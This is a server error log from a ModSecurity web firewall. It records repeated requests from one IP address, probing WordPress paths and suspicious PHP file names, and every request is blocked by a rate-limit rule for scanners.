[Thu Jan 29 08:04:06.745401 2026] [:error] [pid 19070:tid 19113] [client 20.219.59.84:19536] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpupex.php"] [unique_id "aXqj9rou83lIon_aKgY3xwAAAEc"]
[Thu Jan 29 08:04:07.384496 2026] [:error] [pid 20519:tid 20549] [client 20.219.59.84:19563] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpupex.php"] [unique_id "aXqj9wo4s4fyROrkyRlZIAAAAYE"]
[Thu Jan 29 08:04:08.931705 2026] [:error] [pid 19071:tid 19141] [client 20.219.59.84:19533] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "aXqj-Jfa8Ix5wWmtmJzEigAAAIg"]
[Thu Jan 29 08:04:09.662092 2026] [:error] [pid 19069:tid 19101] [client 20.219.59.84:46333] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "aXqj-fDHsRM4BJ9a4Qt55wAAABc"]
[Thu Jan 29 08:04:10.147234 2026] [:error] [pid 20486:tid 20491] [client 20.219.59.84:19519] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "aXqj-ngqSZb6GBx5nnMW9QAAAQI"]
[Thu Jan 29 08:04:10.761952 2026] [:error] [pid 19071:tid 19150] [client 20.219.59.84:46310] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "aXqj-pfa8Ix5wWmtmJzEjQAAAJE"]
[Thu Jan 29 08:04:11.191090 2026] [:error] [pid 19071:tid 19154] [client 20.219.59.84:19465] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aXqj-5fa8Ix5wWmtmJzEkQAAAJU"]
[Thu Jan 29 08:04:11.508146 2026] [:error] [pid 19177:tid 19184] [client 20.219.59.84:19514] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aXqj-3ipGz0PT8TrQv4HvQAAAMU"]
[Thu Jan 29 08:04:11.876840 2026] [:error] [pid 19070:tid 19130] [client 20.219.59.84:19456] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aXqj-7ou83lIon_aKgY30gAAAFg"]
[Thu Jan 29 08:04:12.528546 2026] [:error] [pid 20486:tid 20509] [client 20.219.59.84:19473] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aXqj_HgqSZb6GBx5nnMW_AAAARQ"]
[Thu Jan 29 08:04:12.832407 2026] [:error] [pid 19070:tid 19106] [client 20.219.59.84:19553] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aXqj_Lou83lIon_aKgY31QAAAEA"]
[Thu Jan 29 08:04:13.697400 2026] [:error] [pid 20576:tid 20606] [client 20.219.59.84:19496] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aXqj_SrDZws_FlQGi9fnGQAAAdQ"]
[Thu Jan 29 08:04:14.357653 2026] [:error] [pid 20576:tid 20590] [client 20.219.59.84:47638] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aXqj_irDZws_FlQGi9fnGwAAAcQ"]
[Thu Jan 29 08:04:15.106922 2026] [:error] [pid 19177:tid 19188] [client 20.219.59.84:19396] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aXqj_3ipGz0PT8TrQv4HxAAAAMk"]
[Thu Jan 29 08:04:15.538628 2026] [:error] [pid 20576:tid 20586] [client 20.219.59.84:19539] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "aXqj_yrDZws_FlQGi9fnIAAAAcA"]
[Thu Jan 29 08:04:16.266888 2026] [:error] [pid 19071:tid 19153] [client 20.219.59.84:51630] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "aXqkAJfa8Ix5wWmtmJzEngAAAJQ"]
[Thu Jan 29 08:04:16.735702 2026] [:error] [pid 20580:tid 20667] [client 20.219.59.84:46318] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "aXqkAJCZ5HHdXPmeL59qXgAAAoE"]
[Thu Jan 29 08:04:17.242495 2026] [:error] [pid 19071:tid 19142] [client 20.219.59.84:19528] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "aXqkAZfa8Ix5wWmtmJzEoQAAAIk"]
[Thu Jan 29 08:04:17.745009 2026] [:error] [pid 19071:tid 19155] [client 20.219.59.84:46297] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aXqkAZfa8Ix5wWmtmJzEogAAAJY"]
[Thu Jan 29 08:04:18.075908 2026] [:error] [pid 20579:tid 20654] [client 20.219.59.84:19566] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aXqkAjVXNopcNyjJc9WELgAAAk0"]
[Thu Jan 29 08:04:18.428489 2026] [:error] [pid 19069:tid 19079] [client 20.219.59.84:19571] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aXqkAvDHsRM4BJ9a4Qt58wAAAAE"]
[Thu Jan 29 08:04:18.919629 2026] [:error] [pid 20580:tid 20687] [client 20.219.59.84:19482] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aXqkApCZ5HHdXPmeL59qYAAAApM"]
[Thu Jan 29 08:04:19.320668 2026] [:error] [pid 20576:tid 20591] [client 20.219.59.84:19492] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aXqkAyrDZws_FlQGi9fnKgAAAcU"]
[Thu Jan 29 08:04:19.640853 2026] [:error] [pid 20486:tid 20496] [client 20.219.59.84:46294] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aXqkA3gqSZb6GBx5nnMXCQAAAQc"]
[Thu Jan 29 08:04:19.924409 2026] [:error] [pid 20580:tid 20674] [client 20.219.59.84:19564] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aXqkA5CZ5HHdXPmeL59qZQAAAoY"]
[Thu Jan 29 08:04:20.322634 2026] [:error] [pid 20486:tid 20504] [client 20.219.59.84:19471] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aXqkBHgqSZb6GBx5nnMXDQAAAQ8"]
[Thu Jan 29 08:04:20.823501 2026] [:error] [pid 20578:tid 20631] [client 20.219.59.84:47631] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aXqkBA6UX7yOMwQFiyecvQAAAhI"]
[Thu Jan 29 08:04:21.154212 2026] [:error] [pid 20578:tid 20621] [client 20.219.59.84:19480] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aXqkBQ6UX7yOMwQFiyecwAAAAgg"]
[Thu Jan 29 08:04:21.697674 2026] [:error] [pid 20486:tid 20502] [client 20.219.59.84:19490] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aXqkBXgqSZb6GBx5nnMXEQAAAQ0"]
[Thu Jan 29 08:04:22.089318 2026] [:error] [pid 20486:tid 20491] [client 20.219.59.84:19470] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aXqkBngqSZb6GBx5nnMXFAAAAQI"]
[Thu Jan 29 08:04:22.409976 2026] [:error] [pid 19070:tid 19111] [client 20.219.59.84:47642] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/"] [unique_id "aXqkBrou83lIon_aKgY36QAAAEU"]
[Thu Jan 29 08:04:22.895199 2026] [:error] [pid 19071:tid 19138] [client 20.219.59.84:19550] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/"] [unique_id "aXqkBpfa8Ix5wWmtmJzEqAAAAIU"]
[Thu Jan 29 08:04:23.318563 2026] [:error] [pid 20576:tid 20604] [client 20.219.59.84:19463] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/"] [unique_id "aXqkByrDZws_FlQGi9fnMQAAAdI"]
[Thu Jan 29 08:04:23.979477 2026] [:error] [pid 20578:tid 20635] [client 20.219.59.84:19512] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/"] [unique_id "aXqkBw6UX7yOMwQFiyecxwAAAhY"]
[Thu Jan 29 08:04:24.413849 2026] [:error] [pid 19070:tid 19122] [client 20.219.59.84:19392] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/cache/"] [unique_id "aXqkCLou83lIon_aKgY37AAAAFA"]
[Thu Jan 29 08:04:24.732492 2026] [:error] [pid 20486:tid 20513] [client 20.219.59.84:19422] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/cache/"] [unique_id "aXqkCHgqSZb6GBx5nnMXHQAAARg"]
[Thu Jan 29 08:04:25.158690 2026] [:error] [pid 20519:tid 20548] [client 20.219.59.84:19472] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/cache/"] [unique_id "aXqkCQo4s4fyROrkyRlZPwAAAYA"]
[Thu Jan 29 08:04:25.964484 2026] [:error] [pid 19071:tid 19147] [client 20.219.59.84:19399] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/cache/"] [unique_id "aXqkCZfa8Ix5wWmtmJzEqgAAAI4"]
[Thu Jan 29 08:04:26.283071 2026] [:error] [pid 20519:tid 20551] [client 20.219.59.84:46332] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aXqkCgo4s4fyROrkyRlZQgAAAYM"]
[Thu Jan 29 08:04:26.783234 2026] [:error] [pid 20579:tid 20656] [client 20.219.59.84:19400] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aXqkCjVXNopcNyjJc9WEPQAAAk8"]
[Thu Jan 29 08:04:27.259728 2026] [:error] [pid 20519:tid 20555] [client 20.219.59.84:19582] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aXqkCwo4s4fyROrkyRlZRgAAAYc"]
[Thu Jan 29 08:04:27.568814 2026] [:error] [pid 19071:tid 19153] [client 20.219.59.84:19488] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aXqkC5fa8Ix5wWmtmJzEugAAAJQ"]
[Thu Jan 29 08:04:28.046622 2026] [:error] [pid 19071:tid 19147] [client 20.219.59.84:19497] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aXqkDJfa8Ix5wWmtmJzEvgAAAI4"]
[Thu Jan 29 08:04:28.654311 2026] [:error] [pid 20578:tid 20636] [client 20.219.59.84:19395] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aXqkDA6UX7yOMwQFiyeczQAAAhc"]
[Thu Jan 29 08:04:29.062208 2026] [:error] [pid 20519:tid 20550] [client 20.219.59.84:19438] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aXqkDQo4s4fyROrkyRlZSwAAAYI"]
[Thu Jan 29 08:04:29.574962 2026] [:error] [pid 20576:tid 20588] [client 20.219.59.84:19540] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aXqkDSrDZws_FlQGi9fnNwAAAcI"]
[Thu Jan 29 08:04:30.474702 2026] [:error] [pid 19071:tid 19144] [client 20.219.59.84:19459] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php"] [unique_id "aXqkDpfa8Ix5wWmtmJzExwAAAIs"]
[Thu Jan 29 08:04:30.837437 2026] [:error] [pid 20579:tid 20641] [client 20.219.59.84:19503] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php"] [unique_id "aXqkDjVXNopcNyjJc9WEPgAAAkA"]
[Thu Jan 29 08:04:31.372307 2026] [:error] [pid 20578:tid 20628] [client 20.219.59.84:19427] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php"] [unique_id "aXqkDw6UX7yOMwQFiyeczwAAAg8"]
[Thu Jan 29 08:04:31.885581 2026] [:error] [pid 20580:tid 20690] [client 20.219.59.84:19532] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php"] [unique_id "aXqkD5CZ5HHdXPmeL59qggAAApY"]
[Thu Jan 29 08:04:32.249869 2026] [:error] [pid 19177:tid 19196] [client 20.219.59.84:19481] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bypass.php"] [unique_id "aXqkEHipGz0PT8TrQv4H4wAAANE"]
[Thu Jan 29 08:04:32.717678 2026] [:error] [pid 20486:tid 20498] [client 20.219.59.84:19477] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bypass.php"] [unique_id "aXqkEHgqSZb6GBx5nnMXJQAAAQk"]
[Thu Jan 29 08:04:33.090826 2026] [:error] [pid 20580:tid 20676] [client 20.219.59.84:19467] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bypass.php"] [unique_id "aXqkEZCZ5HHdXPmeL59qgwAAAog"]
[Thu Jan 29 08:04:33.479209 2026] [:error] [pid 19070:tid 19129] [client 20.219.59.84:19332] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bypass.php"] [unique_id "aXqkEbou83lIon_aKgY3-gAAAFc"]
[Thu Jan 29 08:04:33.952031 2026] [:error] [pid 20519:tid 20549] [client 20.219.59.84:19558] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ty.php"] [unique_id "aXqkEQo4s4fyROrkyRlZUwAAAYE"]
